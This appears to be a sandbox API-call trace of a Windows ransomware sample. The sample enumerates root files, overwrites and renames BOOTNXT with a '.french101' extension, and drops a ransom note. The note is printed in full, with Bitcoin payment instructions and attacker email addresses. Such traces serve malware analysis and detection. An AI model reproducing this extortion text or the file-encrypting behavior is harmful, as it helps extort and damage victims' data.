[0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.187] CharLowerBuffW (in: lpsz=".MARKER", cchLength=0x7 | out: lpsz=".marker") returned 0x7 [0264.187] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".marker", cchWideChar=7, lpMultiByteStr=0x19de58, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".marker", lpUsedDefaultChar=0x0) returned 7 [0264.187] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.187] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.187] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.187] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eeb8 | out: lpLocalFileTime=0x19eeb8) returned 1 [0264.187] FileTimeToDosDateTime (in: lpFileTime=0x19eeb8, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.187] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.187] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.187] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.187] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.187] GlobalLock (hMem=0x3f40004) returned 0x3ae3600 [0264.187] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.187] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.187] GlobalHandle (pMem=0x3ae3600) returned 0x3f40004 [0264.187] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.187] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.188] CharLowerBuffW (in: lpsz="bootmgr", cchLength=0x7 | out: lpsz="bootmgr") returned 0x7 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.188] CreateFileW (lpFileName="C:\\я" (normalized: "c:\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.241] WriteFile (in: hFile=0x378, lpBuffer=0x3f31bd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19ee64, lpOverlapped=0x0 | out: lpBuffer=0x3f31bd8*, lpNumberOfBytesWritten=0x19ee64*=0x1, lpOverlapped=0x0) returned 1 [0264.242] CloseHandle (hObject=0x378) returned 1 [0264.243] DeleteFileW (lpFileName="C:\\я" (normalized: "c:\\я")) returned 1 [0264.244] FindFirstFileW (in: lpFileName="C:\\bootmgr", lpFindFileData=0x19ebf8 | out: lpFindFileData=0x19ebf8) returned 0x6da350 [0264.244] FileTimeToLocalFileTime (in: lpFileTime=0x19ec0c, lpLocalFileTime=0x19eb18 | out: lpLocalFileTime=0x19eb18) returned 1 [0264.244] FileTimeToDosDateTime (in: lpFileTime=0x19eb18, lpFatDate=0x19ebda, lpFatTime=0x19ebd8 | out: lpFatDate=0x19ebda, lpFatTime=0x19ebd8) returned 1 [0264.244] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0264.244] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0264.246] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.246] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eeb8 | out: lpLocalFileTime=0x19eeb8) returned 1 [0264.246] FileTimeToDosDateTime (in: lpFileTime=0x19eeb8, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.246] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.246] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.246] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.246] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.246] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.246] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.246] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.246] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.246] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.246] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.246] CharLowerBuffW (in: lpsz="BOOTNXT", cchLength=0x7 | out: lpsz="bootnxt") returned 0x7 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19de58, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.247] FindFirstFileW (in: lpFileName="C:\\BOOTNXT", lpFindFileData=0x19ebf8 | out: lpFindFileData=0x19ebf8) returned 0x6da110 [0264.247] FileTimeToLocalFileTime (in: lpFileTime=0x19ec0c, lpLocalFileTime=0x19eb18 | out: lpLocalFileTime=0x19eb18) returned 1 [0264.247] FileTimeToDosDateTime (in: lpFileTime=0x19eb18, lpFatDate=0x19ebda, lpFatTime=0x19ebd8 | out: lpFatDate=0x19ebda, lpFatTime=0x19ebd8) returned 1 [0264.247] FindClose (in: hFindFile=0x6da110 | out: hFindFile=0x6da110) returned 1 [0264.247] SetFileAttributesW (lpFileName="C:\\BOOTNXT", dwFileAttributes=0x20) returned 1 [0264.272] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.272] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.272] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x1 [0264.272] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.273] SetFilePointer (in: hFile=0x378, lDistanceToMove=1, lpDistanceToMoveHigh=0x19eb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eb10*=0) returned 0x1 [0264.273] WriteFile (in: hFile=0x378, lpBuffer=0x3f31ba8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19eb24, lpOverlapped=0x0 | out: lpBuffer=0x3f31ba8*, lpNumberOfBytesWritten=0x19eb24*=0x1, lpOverlapped=0x0) returned 1 [0264.274] CloseHandle (hObject=0x378) returned 1 [0264.276] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.276] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.276] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x2 [0264.277] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaf8*=0) returned 0x0 [0264.277] SetFilePointer (in: hFile=0x378, lDistanceToMove=1, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.277] SetEndOfFile (hFile=0x378) returned 1 [0264.328] CloseHandle (hObject=0x378) returned 1 [0264.328] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.329] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.329] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.329] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.329] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.329] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.329] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.329] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.330] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.330] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.330] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x0 [0264.330] ReadFile (in: hFile=0x378, lpBuffer=0x3f31c08, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3f31c08*, lpNumberOfBytesRead=0x19eb18*=0x1, lpOverlapped=0x0) returned 1 [0264.330] GlobalLock (hMem=0x3f40004) returned 0x3ae3600 [0264.331] GlobalLock (hMem=0x3f40014) returned 0x3ae5610 [0264.331] GlobalHandle (pMem=0x3ae3600) returned 0x3f40004 [0264.331] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.331] GlobalHandle (pMem=0x3ae5610) returned 0x3f40014 [0264.331] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.331] GlobalLock (hMem=0x3f40014) returned 0x3ae3600 [0264.331] GlobalHandle (pMem=0x3ae3600) returned 0x3f40014 [0264.331] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.331] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eb04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eb04*=0) returned 0x0 [0264.331] WriteFile (in: hFile=0x378, lpBuffer=0x3f1ced0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3f1ced0*, lpNumberOfBytesWritten=0x19eb18*=0x1, lpOverlapped=0x0) returned 1 [0264.331] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.331] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.331] SetFilePointer (in: hFile=0x378, lDistanceToMove=1, lpDistanceToMoveHigh=0x19eaec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eaec*=0) returned 0x1 [0264.331] SetFilePointer (in: hFile=0x378, lDistanceToMove=1, lpDistanceToMoveHigh=0x19eb04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eb04*=0) returned 0x1 [0264.331] WriteFile (in: hFile=0x378, lpBuffer=0x3f1ced1*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3f1ced1*, lpNumberOfBytesWritten=0x19eb18*=0x17, lpOverlapped=0x0) returned 1 [0264.411] WriteFile (in: hFile=0x378, lpBuffer=0x3efca08*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19eb18, lpOverlapped=0x0 | out: lpBuffer=0x3efca08*, lpNumberOfBytesWritten=0x19eb18*=0xb2, lpOverlapped=0x0) returned 1 [0264.411] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.411] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.411] CloseHandle (hObject=0x378) returned 1 [0264.412] MoveFileW (lpExistingFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), lpNewFileName="C:\\=aapkMF4BrfwjEq1AE4.french101" (normalized: "c:\\=aapkmf4brfwjeq1ae4.french101")) returned 1 [0264.413] CreateFileW (lpFileName="C:\\=aapkMF4BrfwjEq1AE4.french101" (normalized: "c:\\=aapkmf4brfwjeq1ae4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.413] SetFileTime (hFile=0x378, lpCreationTime=0x19ebc4, lpLastAccessTime=0x19ebbc, lpLastWriteTime=0x19ebb4) returned 1 [0264.413] CloseHandle (hObject=0x378) returned 1 [0264.413] SetFileAttributesW (lpFileName="C:\\=aapkMF4BrfwjEq1AE4.french101", dwFileAttributes=0x26) returned 1 [0264.413] CloseHandle (hObject=0x378) returned 0 [0264.414] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.414] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.414] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.414] GlobalLock (hMem=0x3f4000c) returned 0x3ae15f0 [0264.414] GlobalLock (hMem=0x3f40014) returned 0x3ae3600 [0264.414] GlobalHandle (pMem=0x3ae15f0) returned 0x3f4000c [0264.414] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.414] GlobalHandle (pMem=0x3ae3600) returned 0x3f40014 [0264.414] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.414] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0264.414] FindFirstFileW (in: lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19ec10 | out: lpFindFileData=0x19ec10) returned 0xffffffff [0264.414] GetLastError () returned 0x2 [0264.414] CreateFileW (lpFileName="C:\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x378 [0264.415] WriteFile (in: hFile=0x378, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19ee18, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19ee18*=0x87f, lpOverlapped=0x0) returned 1 [0264.415] CloseHandle (hObject=0x378) returned 1 [0264.416] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.416] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eeb8 | out: lpLocalFileTime=0x19eeb8) returned 1 [0264.416] FileTimeToDosDateTime (in: lpFileTime=0x19eeb8, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.416] GlobalLock (hMem=0x3f40014) returned 0x3ae15f0 [0264.416] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40014 [0264.416] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.417] GlobalLock (hMem=0x3f40014) returned 0x3ae15f0 [0264.417] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.417] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40014 [0264.417] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.417] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.417] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.417] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.417] CharLowerBuffW (in: lpsz="BOOTSECT.BAK", cchLength=0xc | out: lpsz="bootsect.bak") returned 0xc [0264.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 